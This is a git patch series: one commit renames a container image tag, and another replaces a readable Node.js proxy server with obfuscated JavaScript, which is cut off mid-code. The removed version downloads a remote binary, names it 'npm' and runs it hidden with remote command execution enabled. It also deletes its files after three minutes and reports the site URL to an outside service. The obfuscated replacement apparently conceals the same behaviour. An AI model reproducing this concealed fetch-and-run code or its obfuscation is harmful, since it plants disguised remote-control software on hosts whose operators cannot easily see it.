From 45a13a75f0f8ed7dd08bd6623ca8d70c1d755780 Mon Sep 17 00:00:00 2001 From: eata2017 <72057581+eata2017@users.noreply.github.com> Date: Sat, 20 Dec 2025 16:12:36 +0800 Subject: [PATCH 1/2] Update build-hug-image.yml --- .github/workflows/build-hug-image.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-hug-image.yml b/.github/workflows/build-hug-image.yml index 6bb1cdeeb9..2f7b19540c 100644 --- a/.github/workflows/build-hug-image.yml +++ b/.github/workflows/build-hug-image.yml @@ -41,7 +41,7 @@ jobs: context: . push: true tags: | - ghcr.io/${{ github.repository_owner }}/hugws:latest + ghcr.io/${{ github.repository_owner }}/huga7e:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=http server From 1577cc516d82992ac9d2c881fecfe4cd26040ea6 Mon Sep 17 00:00:00 2001 From: eata2017 <72057581+eata2017@users.noreply.github.com> Date: Mon, 4 May 2026 13:01:36 +0800 Subject: [PATCH 2/2] Update index.js --- index.js | 378 +------------------------------------------------------ 1 file changed, 1 insertion(+), 377 deletions(-) diff --git a/index.js b/index.js index e72b894ddd..9cb3d906b4 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 3000; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://api.ip.sb/geoip'); - const data = res.data; - ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@cdns.doon.eu.org:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@cdns.doon.eu.org:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}/${SUB_PATH}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +(function(_0x5ad8c3,_0x307b9e){function _0x3db9e8(_0x285417,_0x55800f,_0x46e104,_0x380e49){return _0x2d27(_0x380e49- -0xce,_0x55800f);}const _0xc11ae5=_0x5ad8c3();function _0x68c074(_0x138e0e,_0x2f69a3,_0x345b3a,_0x1eb454){return _0x2d27(_0x2f69a3- -0x236,_0x1eb454);}while(!![]){try{const _0x36c58d=-parseInt(_0x68c074(-0x206,-0x1be,-0x229,-0x229))/(-0x1c77*-0x1+0x38f+-0x7*0x493)+parseInt(_0x3db9e8(0x119,0x14,-0x3b,0x42))/(0x1c5e+-0x379*0xa+0x1*0x65e)+-parseInt(_0x3db9e8(-0x38,0x121,-0x11,0x4b))/(0x84b+-0x2594+0x5*0x5dc)*(parseInt(_0x3db9e8(0xa7,-0x35,0x106,0x8c))/(0x51*0x37+-0x1fce+0x1*0xe6b))+-parseInt(_0x68c074(-0x1b1,-0x13c,-0x1aa,-0xbd))/(-0x427*0x9+-0x1*-0x20e9+0x25*0x1f)*(-parseInt(_0x68c074(-0xd6,-0x5e,-0x4,-0x2f))/(-0x246a+0x22b7+0x1b9))+parseInt(_0x3db9e8(-0xf1,-0xb3,-0x29,-0x32))/(0x8*0x4bc+0x2*-0x44f+-0x7*0x42d)*(parseInt(_0x3db9e8(0x123,0x1a1,0xe8,0xdb))/(0x614+0x2455+0x2a61*-0x1))+-parseInt(_0x3db9e8(0xe1,0x15,0xe4,0x8b))/(0x10f6+-0x26d6+0x4f*0x47)*(-parseInt(_0x68c074(-0x118,-0xb3,0x1a,-0x17f))/(-0xf69+0x2394+0x1*-0x1421))+parseInt(_0x3db9e8(0x16f,0x1d1,0x18e,0x148))/(-0x295+0xa7*0x35+-0x1ff3);if(_0x36c58d===_0x307b9e)break;else _0xc11ae5['push'](_0xc11ae5['shift']());}catch(_0x277d89){_0xc11ae5['push'](_0xc11ae5['shift']());}}}(_0x174f,-0x3e969+-0xb5d81*0x1+0x15feab));const _0x4b9e29=(function(){const _0x5624bc={};_0x5624bc[_0x40401a(0x591,0x58c,0x4e0,0x4f1)]=_0x40401a(0x3a0,0x43b,0x40a,0x404)+_0x40401a(0x421,0x50d,0x4c7,0x40c)+'ng,\x20skip\x20r'+_0x40401a(0x490,0x498,0x535,0x45f);function _0x40401a(_0x363b1d,_0x502f83,_0x542ea0,_0x43a864){return _0x2d27(_0x542ea0-0x357,_0x502f83);}_0x5624bc[_0x40401a(0x4c2,0x457,0x41e,0x4d7)]=function(_0x3ca40b,_0xd6ac7){return _0x3ca40b===_0xd6ac7;},_0x5624bc[_0x2698a5(0x24e,0x1ab,0x1e9,0x147)]='gLsqx';const _0x8c06e1=_0x5624bc;let _0x26f845=!![];function _0x2698a5(_0x3314d1,_0x1501c9,_0x2369fb,_0x513ac6){return _0x2d27(_0x1501c9-0x127,_0x513ac6);}return function(_0x4b1bcd,_0x27b827){function _0x1f4139(_0x5170cc,_0x549ce7,_0x61c815,_0x25050b){return _0x40401a(_0x5170cc-0xf2,_0x61c815,_0x549ce7- -0x6c0,_0x25050b-0x7c);}function _0x2536d1(_0x1b41e6,_0x46f330,_0x2086dc,_0x153c7f){return _0x40401a(_0x1b41e6-0x13f,_0x46f330,_0x2086dc- -0x6e3,_0x153c7f-0xfd);}if(_0x8c06e1[_0x1f4139(-0x35a,-0x2a2,-0x1ea,-0x1d5)](_0x8c06e1[_0x2536d1(-0x27e,-0x3e1,-0x308,-0x269)],'gLsqx')){const _0x87577d=_0x26f845?function(){function _0x2235cd(_0x35fe85,_0x5b46c8,_0x2de2c7,_0x2bd1f8){return _0x2536d1(_0x35fe85-0x18e,_0x2de2c7,_0x2bd1f8- -0x18,_0x2bd1f8-0xf8);}if(_0x27b827){const _0x31a87f=_0x27b827[_0x2235cd(-0x278,-0x25e,-0x34a,-0x2a5)](_0x4b1bcd,arguments);return _0x27b827=null,_0x31a87f;}}:function(){};return _0x26f845=![],_0x87577d;}else{_0x5c8e68[_0x2536d1(-0x20a,-0x144,-0x1c9,-0xfe)](_0x8c06e1[_0x2536d1(-0x149,-0x2d9,-0x203,-0x1f4)]);return;}};}()),_0x309073=_0x4b9e29(this,function(){const _0x4a15d2={};_0x4a15d2[_0x4cc720(0x495,0x490,0x569,0x5ef)]=_0x12b8c3(0x239,0x339,0x31e,0x289)+'+$';const _0x2b69da=_0x4a15d2;function _0x12b8c3(_0x1dfa73,_0x4ff8ed,_0x427c85,_0x173ce9){return _0x2d27(_0x173ce9-0x18d,_0x427c85);}function _0x4cc720(_0x524c01,_0x4c3728,_0x4d4816,_0x22f3ac){return _0x2d27(_0x4d4816-0x3cb,_0x524c01);}return _0x309073[_0x4cc720(0x67e,0x587,0x5ea,0x69b)]()[_0x12b8c3(0x282,0x217,0x39f,0x2dd)](_0x2b69da[_0x12b8c3(0x2ba,0x379,0x2c0,0x32b)])[_0x4cc720(0x5ed,0x571,0x5ea,0x575)]()[_0x12b8c3(0x378,0x26d,0x26c,0x309)+'r'](_0x309073)[_0x12b8c3(0x23e,0x36f,0x25b,0x2dd)](_0x2b69da['JvPVD']);});function _0x39cab0(_0x3d3f12,_0x23c458,_0x38d4d0,_0x19c709){return _0x2d27(_0x19c709-0xb3,_0x23c458);}_0x309073();const _0x4935e8=(function(){const _0x50d296={'NebYC':function(_0x2f97dd,_0x30fd21){return _0x2f97dd+_0x30fd21;},'mrODc':'stlcu','RQttn':function(_0x8870e3,_0xf0c52d){return _0x8870e3(_0xf0c52d);},'piRtu':function(_0x5cf7ad,_0xb3665a){return _0x5cf7ad!==_0xb3665a;}};let _0xa62981=!![];return function(_0x152e71,_0x375d1d){function _0x26441f(_0x5848a6,_0x34b855,_0x541b79,_0xa7ecc4){return _0x2d27(_0x34b855-0xc7,_0xa7ecc4);}function _0x7a8922(_0x244128,_0x4e45f9,_0x3e5b03,_0x35aa4b){return _0x2d27(_0x3e5b03- -0x1de,_0x4e45f9);}if(_0x50d296[_0x7a8922(-0xf,-0x1a,0x3c,0xb9)](_0x26441f(0x2a2,0x2ce,0x323,0x344),'lUzlU')){const _0xc9fda5=_0xa62981?function(){function _0x107cf9(_0xae9285,_0x201d0c,_0x5c625a,_0x42d93f){return _0x7a8922(_0xae9285-0x59,_0x5c625a,_0x201d0c- -0x201,_0x42d93f-0xca);}const _0x347a10={'jFmGe':function(_0x3d90b9,_0x32adcc){function _0x2eff0f(_0x209083,_0xcfb84a,_0x1c7a01,_0x14889d){return _0x2d27(_0x1c7a01- -0x33c,_0x14889d);}return _0x50d296[_0x2eff0f(-0x138,-0x243,-0x175,-0x129)](_0x3d90b9,_0x32adcc);}};function _0x3b18ef(_0x4d3c7b,_0x47d02f,_0x35e165,_0x5e64d6){return _0x7a8922(_0x4d3c7b-0x1a3,_0x4d3c7b,_0x5e64d6-0x400,_0x5e64d6-0x39);}if(_0x375d1d){if(_0x3b18ef(0x45e,0x320,0x41a,0x3b1)!==_0x50d296[_0x3b18ef(0x438,0x335,0x333,0x377)]){const _0x4e9c52=_0x375d1d['apply'](_0x152e71,arguments);return _0x375d1d=null,_0x4e9c52;}else _0x4e5e53=_0x5bdc21[_0x3b18ef(0x47c,0x40e,0x395,0x3b6)](_0x6ca1a2,_0x347a10[_0x3b18ef(0x497,0x3b6,0x344,0x3ee)](_0x144dac,-0xa9*0x1+0x2408+-0x45*0x83))[_0x107cf9(-0x2f5,-0x31a,-0x24a,-0x359)]((_0x2b24b9,_0x302273,_0x246a4b,_0x18c1b9)=>_0x246a4b%(0xbdf*0x1+0x6*0x5b7+-0x1*0x2e27)?_0x2b24b9[_0x3b18ef(0x3af,0x245,0x391,0x2d9)](_0x18c1b9['slice'](_0x246a4b-(0x1*-0x67f+-0x1476+0x1af6),_0x246a4b+(0x96a*0x4+-0x1f3a*0x1+0x7*-0xeb))):_0x2b24b9,[])[_0x107cf9(-0x1e4,-0x28d,-0x300,-0x2c4)](_0xbc7f1a=>_0xbc7f1a[_0x107cf9(-0x374,-0x320,-0x342,-0x37b)+'BE'](0x1e9c+0x147*0x5+0x11f*-0x21)[_0x3b18ef(0x38d,0x4c5,0x3f1,0x441)](-0xac4*-0x1+-0x47c*-0x7+-0x1*0x2a18))[_0x3b18ef(0x33c,0x307,0x25f,0x2ef)](':'),_0x2501b1+=0x4aa+0x1*-0x535+-0x1f*-0x5;}}:function(){};return _0xa62981=![],_0xc9fda5;}else{_0x50d296['RQttn'](_0x11454d,_0x42ca7c);return;}};}()),_0x4e9379=_0x4935e8(this,function(){const _0x4d541c={'asSWs':function(_0x507465,_0x43e0a6){return _0x507465(_0x43e0a6);},'TeAwI':function(_0x328ecc,_0x12af73){return _0x328ecc+_0x12af73;},'tvPru':_0x519403(-0x45,-0xe4,-0x114,-0x87)+_0x519403(-0x29c,-0x215,-0x1e9,-0x18b)+'rn\x20this\x22)('+'\x20)','eofAg':function(_0x7cd69c){return _0x7cd69c();},'JUltz':function(_0xb0a14b,_0x407132){return _0xb0a14b===_0x407132;},'ycmiU':_0x519403(-0x171,-0x91,-0x141,-0x14a),'XAkNr':_0x3729c7(-0x11,0x73,-0xa7,-0x55),'TkwyZ':'info','PFpFB':_0x3729c7(-0xf8,-0x1a3,-0xf7,-0x32),'gyMrI':_0x3729c7(-0xbf,-0x163,-0x2f,-0xee),'YOBiK':function(_0x2062e7,_0x39759a){return _0x2062e7<_0x39759a;},'PcCwz':'cFBEg'};function _0x519403(_0x3de0d5,_0x218017,_0x4ef990,_0x32b100){return _0x2d27(_0x4ef990- -0x2cb,_0x32b100);}let _0x40dc3f;try{const _0x40e1cf=_0x4d541c['asSWs'](Function,_0x4d541c[_0x519403(-0x18b,-0xf7,-0x1c4,-0x19f)](_0x3729c7(-0xa6,-0x17d,-0x112,-0xc)+_0x519403(-0x1a7,-0x20f,-0x1ac,-0x1a0),_0x4d541c['tvPru'])+');');_0x40dc3f=_0x4d541c[_0x3729c7(-0xf1,-0xa6,-0x26,-0x4a)](_0x40e1cf);}catch(_0x53157d){if(_0x4d541c['JUltz'](_0x4d541c[_0x3729c7(-0xcd,-0x1a3,-0xa6,-0x10)],_0x4d541c[_0x519403(-0x22e,-0x1f0,-0x168,-0xcc)])){_0x434d12(new _0xbbdcd3('Failed\x20to\x20'+_0x3729c7(-0xd8,-0x28,-0xe3,-0xc1)+_0x39ee65+(_0x3729c7(-0xc4,-0xd6,-0x177,-0x6c)+_0x3729c7(-0x56,-0xd3,-0x12b,0x51)+'s')));return;}else _0x40dc3f=window;}const _0x7b8121=_0x40dc3f[_0x3729c7(-0x12e,-0xdb,-0x1eb,-0x13d)]=_0x40dc3f[_0x3729c7(-0x12e,-0x7c,-0x65,-0x1fa)]||{};function _0x3729c7(_0x1ba649,_0x47c263,_0x3096d5,_0x5de573){return _0x2d27(_0x1ba649- -0x22c,_0x47c263);}const _0x16a9a7=[_0x3729c7(-0x69,-0x2b,-0x132,0x46),'warn',_0x4d541c[_0x3729c7(-0xcf,-0xe6,-0x8a,-0x189)],_0x4d541c[_0x3729c7(-0xf5,-0xe5,-0x136,-0x114)],_0x3729c7(-0xcc,-0xcc,-0x36,-0x13e),_0x3729c7(-0x38,0x8f,0x26,-0xd1),_0x4d541c[_0x519403(-0x20e,-0x1e4,-0x254,-0x217)]];for(let _0x4580d3=0x2*0x4f9+-0xd7e+0x2*0x1c6;_0x4d541c[_0x3729c7(-0x172,-0x1e0,-0x153,-0x20b)](_0x4580d3,_0x16a9a7['length']);_0x4580d3++){if(_0x4d541c['PcCwz']===_0x4d541c[_0x3729c7(-0xd9,-0x14f,-0x146,-0x14d)]){const _0x169315=_0x4935e8[_0x519403(-0xe4,-0xf9,-0x14f,-0x91)+'r']['prototype'][_0x519403(-0xf2,-0x179,-0x14c,-0x1a3)](_0x4935e8),_0x198d9f=_0x16a9a7[_0x4580d3],_0x5c0517=_0x7b8121[_0x198d9f]||_0x169315;_0x169315[_0x519403(-0x299,-0x197,-0x1c3,-0x103)]=_0x4935e8['bind'](_0x4935e8),_0x169315[_0x3729c7(-0xd,-0x44,-0xaf,-0x7a)]=_0x5c0517[_0x3729c7(-0xd,-0x1a,0x2b,0x73)][_0x519403(-0x11c,-0x120,-0x14c,-0x19a)](_0x5c0517),_0x7b8121[_0x198d9f]=_0x169315;}else return![];}});_0x4e9379();const os=require('os'),http=require(_0x34f073(-0xab,-0x1a9,-0x1ea,-0x12a)),fs=require('fs'),axios=require('axios'),net=require(_0x39cab0(0x1b4,0x21b,0x22d,0x15d)),path=require(_0x39cab0(0x326,0x200,0x2f4,0x28d)),crypto=require(_0x34f073(-0x1f2,-0x1e4,-0x324,-0x29b)),{Buffer}=require(_0x39cab0(0xba,0x10a,0xf8,0x145)),{exec,execSync}=require('child_proc'+'ess'),{WebSocket,createWebSocketStream}=require('ws'),UUID=process.env.UUID||_0x39cab0(0x2ed,0x33a,0x288,0x2c1)+_0x34f073(-0x19d,-0x156,-0x18a,-0x1df)+_0x39cab0(0x164,0x191,0x118,0x15c)+_0x39cab0(0x387,0x28a,0x388,0x2b9),NEZHA_SERVER=process.env.NEZHA_SERVER||'',NEZHA_PORT=process.env.NEZHA_PORT||'',NEZHA_KEY=process.env.NEZHA_KEY||'',DOMAIN=process.env.DOMAIN||_0x34f073(-0x2a0,-0x322,-0x22d,-0x24f)+'om',AUTO_ACCESS=process.env.AUTO_ACCESS||![],WSPATH=process.env.WSPATH||UUID['slice'](-0x38a+-0xd*-0x42+0x30*0x1,0xdbd+-0x1ad5+-0xd20*-0x1),SUB_PATH=process.env.SUB_PATH||_0x39cab0(0x175,0x155,0x2d6,0x229),NAME=process.env.NAME||'',PORT=process.env.PORT||-0x821*-0x1+-0xe5a+0x11f1;function _0x2d27(_0x2c54bb,_0x47890c){_0x2c54bb=_0x2c54bb-(0x633+0x65*-0xb+-0x165);const _0x4c2589=_0x174f();let _0x35e637=_0x4c2589[_0x2c54bb];if(_0x2d27['gFtXFV']===undefined){var _0x2a845f=function(_0x2db77a){const _0x2fa4ef='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4ff158='',_0x488627='',_0x13da71=_0x4ff158+_0x2a845f,_0x3cbf93=(''+function(){return-0x63*-0x5e+0xb8+-0x2512;})['indexOf']('\x0a')!==-(-0x3a1+-0x8*0x232+0x1532);for(let _0x34c917=-0x39a+0x4a*-0x15+0x4d6*0x2,_0x1874c7,_0x485412,_0x3e189f=-0x5a9*-0x5+-0x6*-0x1b1+0x1*-0x2673;_0x485412=_0x2db77a['charAt'](_0x3e189f++);~_0x485412&&(_0x1874c7=_0x34c917%(-0x1e9d*-0x1+-0x2602+0x769)?_0x1874c7*(0x7*0x21b+-0xdd2+-0x1*0xab)+_0x485412:_0x485412,_0x34c917++%(-0x8*-0x1e2+0x1*0x15cd+-0x24d9))?_0x4ff158+=_0x3cbf93||_0x13da71['charCodeAt'](_0x3e189f+(0x779*0x3+-0x183a+0x2b*0xb))-(0x66f+-0x1*0x125+-0xe0*0x6)!==0x1ded+0x1*0xbb7+-0x29a4?String['fromCharCode'](-0x6cf+0xbb*-0x3+0x9ff&_0x1874c7>>(-(-0xf*-0x272+-0x8f5*-0x1+0x2da1*-0x1)*_0x34c917&-0x1be8+0x8f5*-0x1+-0x7*-0x545)):_0x34c917:-0x15f1+-0x139*-0x6+0xe9b){_0x485412=_0x2fa4ef['indexOf'](_0x485412);}for(let _0x4bda36=0x43b+-0x1eae+-0x3d*-0x6f,_0x26b15a=_0x4ff158['length'];_0x4bda36<_0x26b15a;_0x4bda36++){_0x488627+='%'+('00'+_0x4ff158['charCodeAt'](_0x4bda36)['toString'](-0x1341+-0x1*0xb30+0x1e81))['slice'](-(0xef1+-0x26c3+0x17d4));}return decodeURIComponent(_0x488627);};_0x2d27['UhnZLt']=_0x2a845f,_0x2d27['sLKVPX']={},_0x2d27['gFtXFV']=!![];}const _0x19b859=_0x4c2589[0x1*0x821+0x41*0x67+0x449*-0x8],_0x674c92=_0x2c54bb+_0x19b859,_0x3d4440=_0x2d27['sLKVPX'][_0x674c92];if(!_0x3d4440){const _0xf40ea3=function(_0xe3dd8e){this['jGvfXu']=_0xe3dd8e,this['mnRzSI']=[-0x1*0x2329+-0x4*-0x5f3+0xb5e,0x28f*0xc+-0xcbb*-0x3+-0x44e5,0x12a9*-0x1+-0x2*0x8fd+0x24a3],this['aXthRT']=function(){return'newState';},this['FDArTS']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['XmgXQU']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0xf40ea3['prototype']['iceqvU']=function(){const _0x29eec9=new RegExp(this['FDArTS']+this['XmgXQU']),_0x28b613=_0x29eec9['test'](this['aXthRT']['toString']())?--this['mnRzSI'][0x909+0xc*0x65+-0xdc4]:--this['mnRzSI'][0x238f+-0x2494+-0x57*-0x3];return this['RGZWrX'](_0x28b613);},_0xf40ea3['prototype']['RGZWrX']=function(_0x119fb0){if(!Boolean(~_0x119fb0))return _0x119fb0;return this['nTojWx'](this['jGvfXu']);},_0xf40ea3['prototype']['nTojWx']=function(_0x430cff){for(let _0x5810a9=-0x128c*0x1+-0x3ed+-0x1*-0x1679,_0x469e27=this['mnRzSI']['length'];_0x5810a9<_0x469e27;_0x5810a9++){this['mnRzSI']['push'](Math['round'](Math['random']())),_0x469e27=this['mnRzSI']['length'];}return _0x430cff(this['mnRzSI'][-0x18ec+-0x1*-0xfa7+-0x317*-0x3]);},(''+function(){return-0x166*-0x6+0x2413+-0x1*0x2c77;})['indexOf']('\x0a')===-(-0x1*-0x2565+0x1b68+-0x11e*0x3a)&&new _0xf40ea3(_0x2d27)['iceqvU'](),_0x35e637=_0x2d27['UhnZLt'](_0x35e637),_0x2d27['sLKVPX'][_0x674c92]=_0x35e637;}else _0x35e637=_0x3d4440;return _0x35e637;}let ISP='';const GetISP=async()=>{function _0x1008f2(_0x3e57b7,_0x211720,_0x4fa8c8,_0x534702){return 